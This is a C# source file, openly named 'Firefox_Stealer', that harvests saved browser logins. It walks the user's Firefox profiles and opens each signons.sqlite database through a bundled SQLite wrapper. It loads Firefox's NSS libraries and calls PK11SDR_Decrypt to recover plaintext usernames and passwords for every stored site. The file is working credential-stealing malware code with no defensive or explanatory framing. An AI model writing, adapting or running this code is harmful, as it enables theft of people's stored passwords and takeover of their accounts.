﻿using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Runtime.InteropServices;
using System.Data;
using System.Collections;

namespace Firefox_Stealer
{
    /// <summary>
    /// Reads saved login information from Firefox.
    /// </summary>
    class Firefox
    {
        #region DLL-Imports
        [DllImport("kernel32")]
        private static extern IntPtr LoadLibrary(string dllFilePath);
        [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
        private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        #endregion
        #region Delegates
        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        private delegate long NSS_Init_delegate(string configdir);
        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        public delegate int NSSBase64_DecodeBuffer_delegate(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen);
        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        public delegate long PK11_GetInternalKeySlot_delegate();
        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        public delegate long PK11_Authenticate_delegate(long slot, bool loadCerts, long wincx);
        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        public delegate int PK11SDR_Decrypt_delegate(ref TSECItem data, ref TSECItem result, int cx);
        #endregion
        #region structs
        [StructLayout(LayoutKind.Sequential)]
        public struct TSECItem
        {
            public int SECItemType;
            public int SECItemData;
            public int SECItemLen;
        }
        #endregion

        private static IntPtr nss3_dll = IntPtr.Zero;

        /// <summary>
        /// Reads login information.
        /// </summary>
        /// <returns>
        /// Returns Host, User and Pass formated.
        /// </returns>
        public static List<string[]> getPWs()
        {
            string dll_path = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla Firefox\";
            string profile_path = Environment.GetEnvironmentVariable("APPDATA") + @"\Mozilla\Firefox\Profiles";
            List<string[]> result = new List<string[]>();
            // Search for signons.sql (Password-DB)
            foreach (string profile in Directory.GetDirectories(profile_path))
            {
                // Move through all profiles.
                foreach (string file in Directory.GetFiles(profile))
                {
                    if (Path.GetFileName(file) == "signons.sqlite")
                    {
                        // Database found. Get logins.
                        init_NSS3(profile, dll_path);
                        PK11_Authenticate(PK11_GetInternalKeySlot(), true, 0L);
                        List<string[]> data = readData(file);
                        // Decrypt Username and Password
                        foreach (string[] d in data)
                        {
                            d[1] = decrypt(d[1]);
                            d[2] = decrypt(d[2]);
                            result.Add(new string[] { "Firefox", d[0], d[1], d[2] });
                        }
                    }
                }
            }
            return result;
        }

        /// <summary>
        /// Decryps Firefox data.
        /// </summary>
        /// <param name="encrypted">Data to decrypt.</param>
        /// <returns>
        /// Returns decrypted data.
        /// </returns>
        private static string decrypt(string encrypted)
        {
            StringBuilder inStr = new StringBuilder(encrypted);
            int num = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, inStr, inStr.Length);
            IntPtr ptr = new IntPtr(num);
            TSECItem result = new TSECItem();
            TSECItem data = (TSECItem)Marshal.PtrToStructure(ptr, typeof(TSECItem));
            if ((PK11SDR_Decrypt(ref data, ref result, 0) == 0) && (result.SECItemLen != 0))
            {
                byte[] buffer = new byte[result.SECItemLen];
                ptr = new IntPtr(result.SECItemData);
                Marshal.Copy(ptr, buffer, 0, result.SECItemLen);
                return Encoding.ASCII.GetString(buffer);
            }
            return null;
        }

        /// <summary>
        /// Initializes NSS3.dll.
        /// </summary>
        /// <param name="configdir">Directory of signons.sqlite.</param>
        /// <param name="dll_path">Directory of Firefox DLLs.</param>
        /// <returns>
        /// 
        /// </returns>
        private static void init_NSS3(string configdir, string dll_path)
        {
            // Init NSS3.dll
            LoadLibrary(dll_path + "mozutils.dll");
            LoadLibrary(dll_path + "mozglue.dll");
            LoadLibrary(dll_path + "mozcrt19.dll");
            LoadLibrary(dll_path + "nspr4.dll");
            LoadLibrary(dll_path + "plc4.dll");
            LoadLibrary(dll_path + "plds4.dll");
            LoadLibrary(dll_path + "ssutil3.dll");
            LoadLibrary(dll_path + "mozsqlite3.dll");
            LoadLibrary(dll_path + "nssutil3.dll");
            LoadLibrary(dll_path + "softokn3.dll");
            nss3_dll = LoadLibrary(dll_path + "nss3.dll");
            NSS_Init_delegate NSS_Init = (NSS_Init_delegate)Marshal.GetDelegateForFunctionPointer(GetProcAddress(nss3_dll, "NSS_Init"), typeof(NSS_Init_delegate));
            NSS_Init(configdir);
        }

        public static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
        {
            PK11SDR_Decrypt_delegate PK11SDR_Decrypt = (PK11SDR_Decrypt_delegate)Marshal.GetDelegateForFunctionPointer(GetProcAddress(nss3_dll, "PK11SDR_Decrypt"), typeof(PK11SDR_Decrypt_delegate));
            return PK11SDR_Decrypt(ref data, ref result, cx);
        }

        public static long PK11_GetInternalKeySlot()
        {
            PK11_GetInternalKeySlot_delegate PK11_GetInternalKeySlot = (PK11_GetInternalKeySlot_delegate)Marshal.GetDelegateForFunctionPointer(GetProcAddress(nss3_dll, "PK11_GetInternalKeySlot"), typeof(PK11_GetInternalKeySlot_delegate));
            return PK11_GetInternalKeySlot();
        }

        public static long PK11_Authenticate(long slot, bool loadCerts, long wincx)
        {
            PK11_Authenticate_delegate PK11_Authenticate = (PK11_Authenticate_delegate)Marshal.GetDelegateForFunctionPointer(GetProcAddress(nss3_dll, "PK11_Authenticate"), typeof(PK11_Authenticate_delegate));
            return PK11_Authenticate(slot, loadCerts, wincx);
        }

        public static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen)
        {
            NSSBase64_DecodeBuffer_delegate NSSBase64_DecodeBuffer = (NSSBase64_DecodeBuffer_delegate)Marshal.GetDelegateForFunctionPointer(GetProcAddress(nss3_dll, "NSSBase64_DecodeBuffer"), typeof(NSSBase64_DecodeBuffer_delegate));
            return NSSBase64_DecodeBuffer(arenaOpt, outItemOpt, inStr, inLen);
        }

        /// <summary>
        /// Reads login information from database.
        /// </summary>
        /// <returns>
        /// Returns Host, User and Pass formated.
        /// </returns>
        private static List<string[]> readData(string signon)
        {
            List<string[]> ret = new List<string[]>();
            Sqlite_Wrapper sql = new Sqlite_Wrapper(signon);
            DataTable logins = sql.ExecuteQuery("SELECT * FROM moz_logins;");
            foreach (DataRow row in logins.Rows)
                ret.Add(new string[] { row["hostname"].ToString(), row["encryptedUsername"].ToString(), row["encryptedPassword"].ToString() });
            return ret;
        }

    }

    /// <summary>
    /// Wrapper for SQLite.
    /// </summary>
    class Sqlite_Wrapper
    {
        #region DLL-Imports
        [DllImport("mozsqlite3", CallingConvention = CallingConvention.Cdecl)]
        private static extern int sqlite3_open(IntPtr fileName, ref IntPtr database);
        [DllImport("kernel32")]
        private static extern IntPtr HeapAlloc(IntPtr heap, uint flags, uint bytes);
        [DllImport("kernel32")]
        private static extern IntPtr GetProcessHeap();
        [DllImport("kernel32")]
        private static extern int lstrlen(IntPtr str);
        [DllImport("mozsqlite3", CallingConvention = CallingConvention.Cdecl)]
        private static extern int sqlite3_finalize(IntPtr handle);
        [DllImport("mozsqlite3", CallingConvention = CallingConvention.Cdecl)]
        private static extern int sqlite3_prepare_v2(IntPtr database, IntPtr query, int length, ref IntPtr statement, ref IntPtr tail);
        [DllImport("mozsqlite3", CallingConvention = CallingConvention.Cdecl)]
        private static extern int sqlite3_step(IntPtr statement);
        [DllImport("mozsqlite3", CallingConvention = CallingConvention.Cdecl)]
        private static extern int sqlite3_column_count(IntPtr statement);
        [DllImport("mozsqlite3", CallingConvention = CallingConvention.Cdecl)]
        private static extern int sqlite3_column_type(IntPtr statement, int columnNumber);
        [DllImport("mozsqlite3", CallingConvention = CallingConvention.Cdecl)]
        private static extern IntPtr sqlite3_column_name(IntPtr statement, int columnNumber);
        [DllImport("mozsqlite3", CallingConvention = CallingConvention.Cdecl)]
        private static extern int sqlite3_column_int(IntPtr statement, int columnNumber);
        [DllImport("mozsqlite3", CallingConvention = CallingConvention.Cdecl)]
        private static extern double sqlite3_column_double(IntPtr statement, int columnNumber);
        [DllImport("mozsqlite3", CallingConvention = CallingConvention.Cdecl)]
        private static extern IntPtr sqlite3_column_blob(IntPtr statement, int columnNumber);
        [DllImport("mozsqlite3", CallingConvention = CallingConvention.Cdecl)]
        private static extern IntPtr sqlite3_column_text(IntPtr statement, int columnNumber);
        #endregion

        private IntPtr database;

        /// <summary>
        /// Connects to database.
        /// </summary>
        public Sqlite_Wrapper(string dbFile)
        {
            if (sqlite3_open(StringToPointer(dbFile), ref database) != 0)
            {
                database = IntPtr.Zero;
                throw new Exception(string.Format("Error opening database {0}.", dbFile));
            }

        }

        /// <summary>
        /// Executes a sql query.
        /// </summary>
        /// <param name="query">Query to execute.</param>
        /// <returns>
        /// DataTable of result.
        /// </returns>
        public DataTable ExecuteQuery(string query)
        {
            IntPtr ptr = new IntPtr();
            IntPtr ptr2 = new IntPtr();
            sqlite3_prepare_v2(database, StringToPointer(query), GetPointerLenght(StringToPointer(query)), ref ptr2, ref ptr);
            DataTable table = new DataTable();
            for (int i = ReadFirstRow(ptr2, ref table); i == 100; i = ReadNextRow(ptr2, ref table)) { }
            sqlite3_finalize(ptr2);
            return table;
        }

        /// <summary>
        /// Gets length of string.
        /// </summary>
        /// <param name="ptr">Pointer to string.</param>
        /// <returns>
        /// Length of string.
        /// </returns>
        private int GetPointerLenght(IntPtr ptr)
        {
            if (ptr == IntPtr.Zero)
                return 0;
            return lstrlen(ptr);
        }

        /// <summary>
        /// Creates a nativ variable for string.
        /// </summary>
        /// <param name="str">String to allocate.</param>
        /// <returns>
        /// Pointer to string.
        /// </returns>
        private IntPtr StringToPointer(string str)
        {
            if (str == null)
                return IntPtr.Zero;
            byte[] bytes = Encoding.UTF8.GetBytes(str);
            uint num = (uint)(bytes.Length + 1);
            IntPtr destination = HeapAlloc(GetProcessHeap(), 0, num);
            Marshal.Copy(bytes, 0, destination, bytes.Length);
            Marshal.WriteByte(destination, bytes.Length, 0);
            return destination;
        }

        /// <summary>
        /// Creates a managed string from pointer.
        /// </summary>
        /// <param name="ptr">Pointer to string.</param>
        /// <returns>
        /// Managed string.
        /// </returns>
        private string PointerToString(IntPtr ptr)
        {
            if (ptr == IntPtr.Zero)
                return null;
            Encoding encoding = Encoding.UTF8;
            int pointerLenght = this.GetPointerLenght(ptr);
            byte[] destination = new byte[(pointerLenght - 1) + 1];
            Marshal.Copy(ptr, destination, 0, pointerLenght);
            return encoding.GetString(destination, 0, pointerLenght);
        }

 






        private int ReadFirstRow(IntPtr statement, ref DataTable table)
        {
            table = new DataTable("resultTable");
            if (sqlite3_step(statement) == 100)
            {
                int num3 = sqlite3_column_count(statement);
                string columnName = "";
                object[] values = new object[(num3 - 1) + 1];
                int num6 = num3 - 1;
                for (int i = 0; i <= num6; i++)
                {
                    columnName = PointerToString(sqlite3_column_name(statement, i));
                    switch (sqlite3_column_type(statement, i))
                    {
                        case 1:
                            table.Columns.Add(columnName, Type.GetType("System.Int32"));
                            values[i] = sqlite3_column_int(statement, i);
                            break;

                        case 2:
                            table.Columns.Add(columnName, Type.GetType("System.Single"));
                            values[i] = sqlite3_column_double(statement, i);
                            break;

                        case 3:
                            table.Columns.Add(columnName, Type.GetType("System.String"));
                            values[i] = this.PointerToString(sqlite3_column_text(statement, i));
                            break;

                        case 4:
                            table.Columns.Add(columnName, Type.GetType("System.String"));
                            values[i] = this.PointerToString(sqlite3_column_blob(statement, i));
                            break;

                        default:
                            table.Columns.Add(columnName, Type.GetType("System.String"));
                            values[i] = "";
                            break;
                    }
                }
                table.Rows.Add(values);
            }
            return sqlite3_step(statement);
        }

        private int ReadNextRow(IntPtr statement, ref DataTable table)
        {
            int num = sqlite3_column_count(statement);
            object[] values = new object[(num - 1) + 1];
            int num5 = num - 1;
            for (int i = 0; i <= num5; i++)
            {
                switch (sqlite3_column_type(statement, i))
                {
                    case 1:
                        values[i] = sqlite3_column_int(statement, i);
                        break;

                    case 2:
                        values[i] = sqlite3_column_double(statement, i);
                        break;

                    case 3:
                        values[i] = this.PointerToString(sqlite3_column_text(statement, i));
                        break;

                    case 4:
                        values[i] = this.PointerToString(sqlite3_column_blob(statement, i));
                        break;

                    default:
                        values[i] = "";
                        break;
                }
            }
            table.Rows.Add(values);
            return sqlite3_step(statement);
        }
    }
}
